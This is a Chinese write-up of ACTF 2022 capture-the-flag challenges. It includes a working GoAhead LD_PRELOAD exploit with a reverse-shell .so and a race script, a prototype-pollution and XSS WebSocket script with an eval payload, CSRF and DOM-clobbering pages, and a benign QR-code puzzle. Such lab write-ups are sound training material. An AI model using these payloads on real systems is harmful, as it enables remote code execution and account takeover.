前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ACTF 2022 writeup

ACTF 2022 writeup

作者头像
ek1ng
发布2022-08-10 21:50:01
8270
发布2022-08-10 21:50:01
举报
文章被收录于专栏:ek1ng的技术小站ek1ng的技术小站

web

gogogo

这道是ACTF的web签到题,是根据CVE-2021-42342 GoAhead 远程命令执行漏洞出的一道环境变量注入的题目,相对来说比较简单,按照p牛的文章就可以直接复现。

题目是一个用GoAhead起的Web server,和一个叫hello的cgi文件,有执行权限并且访问会输出当前的环境变量,除此之外也没什么别的,和文章中提的一样。

首先呢这个GoAhead是开启了CGI的配置的,所以我们可以在cgi-bin目录下访问到对应的cgi文件hello,访问一下看看先。

图 1
图 1

接下来我们可以在开启CGI配置的情况下,进行环境变量注入,通过发一个multipart数据包,以表单的形式注入环境变量,使用的环境变量是LD_PRELOAD,之前打的虎符CTF2022中,ezphp那个题目也是利用LD_PRELOAD出了一道php环境变量注入题。回到gogogo这个题目,先来看看怎么如何成功注入环境变量。按照p牛的文章,先请求一下看看能不能直接注入LD_PRELOAD

图 2
图 2

先用curl发个POST请求,在表单中添加LD_PRELOAD=1发出去看看

图 3
图 3

这里补充一下对于CGI的内容,CGI是Web服务器和一个独立的进程之间的协议,它会把HTTP请求Request的Header头设置成进程的环境变量,HTTP请求的Body正文设置成进程的标准输入,进程的标准输出设置为HTTP响应Response,包含Header头和Body正文。

对于一个CGI程序,主要的工作是从环境变量和标准输入中读取数据,然后处理数据,最后向标准输出中输出数据。

  • 环境变量 环境变量中存储的叫做Request Meta-Variables,也就是诸如QUERY_STRING、PATH_INFO之类的,这些都是由Web服务器通过环境变量传递给CGI程序的,CGI程序也是从环境变量中读取的。
  • 标准输出 标准输出中存放的往往是用户通过PUTS或POST提交的数据,这些数据也是由Web服务器传递过来的。

我们现在通过Body中发送multipart表单的方式,能够成功环境变量注入。那我们如何利用LD_PRELOAD这个环境变量来做到RCE呢?

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,一方面,我们可以以此功能来使用自己的或是更好的函数(比如,你可以使用Google开发的tcmalloc来提升效率),而另一方面,我们也可以向别人的程序注入程序,从而达到特定的目的。

这样看来,我们可以上传一个.so文件到服务器,然后让LD_PRELOAD的值为这个文件的路径,让hello这个程序运行时动态链接这个恶意的.so文件,从而达到RCE的目的。

图 4
图 4

而且直接去上传文件,GoAhead源码中对于上传目录的配置,会默认上传到/tmp这个目录,但直接去上传会由于/etc/goahead/tmp这个目录不存在并且也没有写权限而无法上传,不过题目的环境也是根据p牛这篇cve复现的文章做了对应的配置,修改了ME_GOAHEAD_UPLOAD_DIR这个参数,Dockerfile里面有这样一句make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"因,这里"'\"/tmp\"'"是用\转移了双引号,实际上是套了三层,最外层因为ME_GOAHEAD_UPLOAD_DIR是个字符串要加双引号,然后在shell中传参又会去掉一层引号,最后在代码中又是作为一个字符串,因此是三层引号,看起来就不太好懂的样子,做一下解释。

代码语言:javascript
复制
#ifndef ME_GOAHEAD_UPLOAD_DIR
    #define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif

PUBLIC void websUploadOpen(void)
{
    uploadDir = ME_GOAHEAD_UPLOAD_DIR;
    if (*uploadDir == '\0') {
#if ME_WIN_LIKE
        uploadDir = getenv("TEMP");
#else
        uploadDir = "/tmp";
#endif
    }
    trace(4, "Upload directory is %s", uploadDir);
    websDefineHandler("upload", 0, uploadHandler, 0, 0);
}

所以虽然GoAhead本身不配置是不能这样传参的,但是题目环境是做了这样的配置的(题目应该就是按照P牛文章出的),因此在这种特定情形下,有/tmp目录,就可以上传文件。

那么接下来就是先尝试在本地劫持一个写有恶意代码LD_PRELOAD的动态链接库,上传.so文件,利用恶意代码弹Shell,cat flag一把梭了。

但是还有一个需要说的就是,我们本地劫持动态链接库后,应该给LD_PRELOAD赋值什么才能让cgi文件hello去链接我们上传的这个so文件呢?linux中在目录/proc/pid/fd/N是文件描述符,是一个符号链接,指向实际打开的地址,而/proc/self/fd/N就指向加载了LD_PRELOAD这个环境变量的cgi程序进程本身了,这样就可以达到链接我们上传到/tmp/这个目录的恶意so文件的目的。

但是参考P牛文章,实际过程还会遇到ME_GOAHEAD_LIMIT_POST大小限制的问题,默认是16284个字节,也就是我们使用的动态链接库不能过大,这里要需要gcc -s来缩小payload体积,使得不超过大小限制。

还有一个问题是为什么/proc/pid/fd/N一定能够找到一个指向/tmp下我们上传的so文件的文件描述符呢?实际上在执行到cgi这里时,被打开的临时文件描述符已经被关闭了,那么就无法找到我们包含的文件了,自然也无法达成利用。

这里的解决方案是想办法让这个文件描述符不要关闭,这里p牛给出的解决方案有两个,一是条件竞争,一个线程上传文件,一个线程使用LD_PRELOAD包含这个文件,第二是给evil.so增加一些脏字符并且设置HTTP请求的Content-Length小于实际的数据包大小,使GoAhead完全读取到payload.so的内容,但是我们并没有完成上传文件的过程,使文件描述符没有关闭。

最后参考AAA师傅的官方payload,复现了题目。

代码语言:javascript
复制
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void aaanb(void)
{
    unsetenv("LD_PRELOAD");
    system("touch /tmp/success");
    system("/bin/bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/7777 0>&1'");
}
代码语言:javascript
复制
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open(
    'hack.so', 'rb').read()

def upload(url):
    m = MultipartEncoder(
        fields = {
            'file':('1.txt', hack_so,'application/octet-stream')
        }
    )
    r = requests.post(
        url = url,
        data=m,
        headers={'Content-Type': m.content_type}
    )

def include(url):
    m = MultipartEncoder(
        fields = {
            'LD_PRELOAD': '/proc/self/fd/7',
        }
    )
    r = requests.post(
        url = url,
        data=m,
        headers={'Content-Type': m.content_type}
    )


def race(method):
    url = 'http://xxx.xxx.xxx.xxx:10218/cgi-bin/hello'
    if method == 'include':
        include(url)
    else:
        upload(url)

def main():
    task = ['upload','include'] * 1000
    random.shuffle(task) # 
    with futures.ThreadPoolExecutor(max_workers=5) as executor:
        results = list(executor.map(race, task))

if __name__ == "__main__":
    main()

poorui

这题是一个用react写的简易在线聊天室,主要使用web socket进行通讯,考的是lodash原型链污染结合XSS的内容。

图 3
图 3

那么这里首先聊天模板的地方存在lodash原型链污染,结合传图片可以XSS,使得admin用户windows.location到其他页面,断开ws链接把admin踢下线,从而登陆admin帐号getflag。

首先f12可以看到,source map是没有关的,虽然题目给出的附件只有build后的静态文件,但是f12却可以看到react写的源码,其中/component/chatbox.js中这里可以利用原型链污染,来让我们可以传图片。

代码语言:javascript
复制
render(){
    const data = sanitize(this.state.data)
    const type = this.state.type
    if(type === 'text'){
        return <p className="text">{data}</p>
    }
    if(type === 'link'){
        return <a className="text" href={data}>click this</a>
    }
    if(type === 'tpl'){
        return this.templateCompile(data.tpl, data.ctx)
    }
    if(type === 'image'){
        // console.log(this.props)
        const attrs = isJson(data.attrs) ? JSON.parse(data.attrs) : data.attrs
        if(this.props.allowImage && attrs.wow){
            return <div style={{
                backgroundImage: `url(${data.src})`,
                backgroundSize: "contain",
                backgroundRepeat: "no-repeat",
                // width: '100%',
                padding: '25%',
                height: 0,
            }} {...attrs}/>
        }else{
            return <p className="warning-text">sorry, <code>allowImage</code> is false</p>
        }
    }
    return <div>unknown message type: {type}</div>
}

通过原型链污染能传图片后,我们再通过XSS,让admin windows.location到别的链接,断开ws链接后,登上admin getflag,就可以啦。

协会Summer师傅的exp

代码语言:javascript
复制
const { WebSocket } = require("ws")

const code = `window.location.href = 'https://www.baidu.com'`

// const ws = new WebSocket("ws://127.0.0.1:8081")
const ws = new WebSocket("ws://124.71.181.238:8081")

ws.on("message", data => {
  try {
    data = JSON.parse(data)
  } catch {
    return console.log(new Date(), data.toString())
  }
  switch (data.api) {
    case "login":
      doLogin()
  }

  console.log(new Date(), "message", data)
})

ws.on("open", () => {
  setTimeout(() => {
    // apiList()
    prototypePollution()
    sendImage()
    getFlag()
  }, 1000)
})

function doLogin() {
  ws.send(JSON.stringify({ api: "login", username: (Math.random() + 1).toString(36) }))
}

function prototypePollution() {
  const payload = {
    api: "sendmsg",
    to: "admin",
    msg: {
      type: "tpl",
      data: {
        tpl: "test.tpl",
        ctx: '{ "constructor": { "prototype": { "allowImage": true } } }'
      }
    }
  }
  ws.send(JSON.stringify(payload))
}

function sendImage() {
  console.log("send image")
  const payload = {
    api: "sendmsg",
    to: "admin",
    msg: {
      type: "image",
      data: {
        src: "http://www.baidu.com",
        attrs: '{"id":"x","tabindex":1,"is":"focus","autofocus":true,"wow":true,"onfocus":"eval(atob(`' + Buffer.from(code).toString("base64") + '`))"}',
      }
    }
  }
  ws.send(JSON.stringify(payload))
}

function getFlag() {
  console.log("get flag")
  // admin 被踢后不会立刻下线,设置个 1000 ms 延时
  setTimeout(() => {
    ws.send(JSON.stringify({ api: "login", username: 'admin' }))
    const payload = {
      api: "getflag",
    }
     ws.send(JSON.stringify(payload))
  }, 1000)
}
图 4
图 4

beWhatYouWannaBe

题目也是给出了源码的,首先是这个从界面上看,常规的注册登陆,登进去之后会提示需要成为Admin

图 1
图 1

所以先来看一下这部分功能的实现。

整体功能上也比较简单,首先flag的是分成了两部分,分别是16个字符,那我们先看第一部分的flag获取条件。

第一部分的flag需要我们user.isAdmin的值为true。

代码语言:javascript
复制
app.get('/flag', (req, res) => {
    if (!req.session.user) {
        res.send(FAKE_FLAG)
        return
    }
    User.findOne({ username: req.session.user }, (err, user) => {
        if (err) {
            res.send({ err: err })
            return
        }
        if (user.isAdmin) {
            // part 1
            res.send(FLAG.substring(0, 16))
        } else {
            res.send(FAKE_FLAG)
        }
    })
})

当新建用户时,isAdmin的值默认为false。

代码语言:javascript
复制
const newuser = new User({
        username: username,
        password: password,
        isAdmin: false
    })

而接口/beAdmin提供了认证成为admin的方式。

代码语言:javascript
复制
const ValidateToken = (Token) => {
    var sha256 = crypto.createHash('sha256');
    return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}

app.post('/beAdmin', (req, res) => {
    if (req.session.user != 'admin') {
        res.send("sorry, only admin can be admin")
        return
    }
    const username = req.body.username
    const csrftoken = req.body.csrftoken
    if (ValidateToken(csrftoken)) {
        User.updateMany({ username: username }, { isAdmin: true },
            (err, users) => {
                if (err) {
                    res.send('something error when being admin')
                    return
                }
                if (users.length == 0) {
                    res.send('no one can be admin')
                } else {
                    res.send('wow success wow')
                }
            }
        )
    } else {
        res.send('validate error')
    }
})

认证的条件是req.session.user == admin && ValidateToken(csrftoken) == true,先抓个包看看默认情况下,点击按钮i want to be admin会发生什么。

图 2
图 2

回显sorry,only admin can be admin,因为不满足req.session.user == admin

图 3
图 3

因为我们这个用户不是admin对吧,然后所以我们确实没有办法直接去访问beAdmin这个接口,这个接口的作用是让某用户成为admin,相当于有提权的功能,但是只有admin才能调用这个接口。

所以我们就需要让admin访问这个接口,把我们这个用户的身份变成admin,来获取flag。

那这里题目又提供了一个功能让admin用户去访问一个url,我们可以通过这个let admin see see的功能,让admin访问一个我们构造好的恶意站点,来让admin发起一个向beAdmin接口的POST请求,把我们这个帐号的权限提升。

代码语言:javascript
复制
function showAdmin(){
                const url = document.getElementById('url').value
                alert(url)
                fetch('/admin', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        url: url
                    })
                })
                .then(res => res.text())
                .then(res => {
                    alert(res)
                })
            }

app.post('/admin', (req, res) => {
    let url = req.body.url ? req.body.url : 'http://pumpk1n.com'
    admin.view(url)
        .then(() => { res.send(url) })
        .catch(e => { res.send(e) })
})

这里admin.js中可以看出,admin是利用puppeteer实现的自动登陆和自动访问。

代码语言:javascript
复制
const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
    const browser = await puppeteer.launch({
        headless: true,
        args: ['--no-sandbox', '--disable-setuid-sandbox']
    })
    const page = await browser.newPage()
        // page.on('console', msg => console.log(msg.text()))
    await page.goto('http://localhost:8000/login')
    await page.type("#username", ADMIN_USERNAME)
    await page.type("#password", ADMIN_PASSWORD)
    await page.click('#btn-login')
        // get flag1
    await page.goto(url, { timeout: 5000 })
        // get flag2
    await page.setJavaScriptEnabled(false)
    await page.goto(url, { timeout: 5000 })
    const data = await page.evaluate((url, FLAG) => {
        if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
            return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
        } else {
            return fetch(url + '?there_is_no_flag')
        }
    }, url, FLAG)
    await browser.close()
}
exports.view = view 

因此我们可以构造这样的界面

代码语言:javascript
复制
const app = require('express')()
const bodyParser = require('body-parser')
const session = require('express-session')
const crypto = require('crypto')

const LISTEN = '0.0.0.0'
const PORT = 3000

app.set('view engine', 'ejs')
app.use(session({
    secret: "aaaa",
    resave: false,
    saveUninitialized: true,
    cookie: {secure: false},
}))
app.use(bodyParser.urlencoded({extended: false}))
app.use(bodyParser.json())

app.get('/', (req, res) => {
    var sha256 = crypto.createHash('sha256');
    res.render('index', {token: sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex')})
})

app.listen(PORT, LISTEN, () => {
    console.log(`listening ${LISTEN}:${PORT}...`)
})
代码语言:javascript
复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form method='POST' action='http://localhost:8000/beAdmin' target="csrf-frame" id="csrf-form">
    <input id="csrf" name='csrftoken' value="<%= token %>">
    <input name='username' value='test'>
    <input type='submit' value='submit'>
</form>
<script>
    document.getElementById("csrf-form").submit()
</script>
</body>
</html>

放在自己服务器上运行后,让admin去访问这个页面,我们就能成为admin,拿到前面半个flag啦。

图 1
图 1

那么第二部分的flag获取条件和第一部分不太一样,第二部分是使用Dom Clobbering进行攻击,当满足条件时,admin会带着base64编码后的后半个flag发送一条GET请求到我们指定的url,那么根据http的流量记录我们就能拿到flag了,而关键是如何利用Dom Clobbering来满足题目要求。

代码语言:javascript
复制
// get flag2
    await page.setJavaScriptEnabled(false)
    await page.goto(url, { timeout: 5000 })
    const data = await page.evaluate((url, FLAG) => {
        if (fff.lll.aaa.ggg.value == "this_is_what_i_want") {
            return fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16))));
        } else {
            return fetch(url + '?there_is_no_flag')
        }
    }, url, FLAG)

这里关闭了js并且访问我们给出的url,要求fff.lll.aaa.ggg.value的值为”this_is_what_i_want”,就会给出flag。

参考文章:https://portswigger.net/research/dom-clobbering-strikes-back

图 4
图 4

如果对于一层的值的调用,我们可以直接在页面上构造对应html元素,并且让admin去访问即可,但是这里是有多层的就需要一些技巧,用到iframe与srcdoc来进行配合。

代码语言:javascript
复制
<iframe name=fff srcdoc="
<iframe name=lll srcdoc='<a id=aaa><input id=aaa name=ggg value=this_is_what_i_want>'>"></iframe>
<img id="test" src="http://x.x.x.x:xx">
<script>document.getElementById("test").src="1"</script>
图 2
图 2

base64解码就能得到后面半个啦。

ToLeSion

Mysient

misc

Broken QRCode

题目作者也是写了一篇wp,这里参考进行复现。

翔鸽最近好像在筹备一个二维码的视频,在开发时不小心在群里泄露了题目,虽然及时撤回了,但还是从群里的 bot 日志翻到了以下信息:

代码语言:javascript
复制
2022-06-24 13:57:24 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 刚写完了二维码生成器,但是好像写出 bug 了,扫描不了,你们看看?
2022-06-24 13:57:50 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> [mirai:image:{AA8F922E-7A7C-886E-F54C-E82D73F614D8}.jpg]
2022-06-24 13:58:26 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 草
2022-06-24 13:58:58 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 才反应过来,这可不兴看啊,里面是要给 ACTF 出的题来着(
2022-06-24 13:59:06 V/Bot.3559109703: [Project QRCode(xxx)] 鹤翔万里(xxx) -> 撤了撤了(

题目描述其实比较简单,就是一段mirai记录下的聊天记录,那么根据mirai的接口我们可以提取这张jpg。

图 5
图 5

并且作者放了hint:I broke this QR code by just missing a step

那么这里的错误是二维码没有进行掩码操作。

我们使用qrazy补上掩码这一步。

图 6
图 6

访问给出的gist链接,得到一个压缩包,发现解压不了需要修复。

通过16进制查看器可以发现,16制存储的信息转换成ascii码刚好是504B0304开头的一个用16进制存储的压缩包的信息。

图 1
图 1

那么我们这里只需要将ascii转换成16进制即可,这里我用的是linux下的工具Okteta把原zip的ascii值复制出来,存成新的压缩包,也可以使用如下的python脚本。

代码语言:javascript
复制
f = open('qrcodes.zip', 'r')
a = f.read()
f.close()
f = open('qrcodes1.zip', 'wb')
a=int(a,16)
b=len(bin(a)[2:])//8+1
f.write(a.to_bytes(b, byteorder='big'))
f.close()

解压后得到12张二维码jpg。

图 2
图 2

对于一个图片的隐藏信息,要么是隐藏在图片的编码中,不论是LSB还是藏在16进制值的末尾,都是通过编码方式来隐藏信息,要么就是隐藏在图片的内容中,这里前面半个是通过编码来隐藏的,后面半个是通过内容隐藏的。

我们先看前面半个flag的获取,jpg的16进制值结束为FFD9,在第1张jpg的末尾隐藏了一段16进制值41 03 14 C7 95 F6 B6 E3 07 75 F5 15 24 36 F6 43 37 D0 EC 18 7C 22 9C 4D 4A 44

图 3
图 3

这是字符串表示成二维码的中间过程,是二维码的比特序列(data sequence),使用https://www.nayuki.io/page/creating-a-qr-code-step-by-step也可以验证这是Split blocks, add ECC, interleave后的二维码比特序列,那么就是需要逆回去来解析这个二维码的原字符串。

图 4
图 4

解析得到 1Ly_kn0w_QRCod3}

另一半的flag需要从图片的内容中获取,也就是二维码的内容。由于二维码的识别存在纠错机制,扫描时可以靠纠错来得到正确内容,而我们扫描这12个二维码会得到12句歌词,因此我们可以通过这个歌词,来生成完全正确的二维码,再与存在错误的二维码diff,从而获取到通过这些错误表示的信息。

图 5
图 5

得到flag ACTF{Y0u_Re41Ly_kn0w_QRCod3}

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022年7月1日,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • web
    • gogogo
      • poorui
        • beWhatYouWannaBe
          • ToLeSion
            • Mysient
            • misc
              • Broken QRCode
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档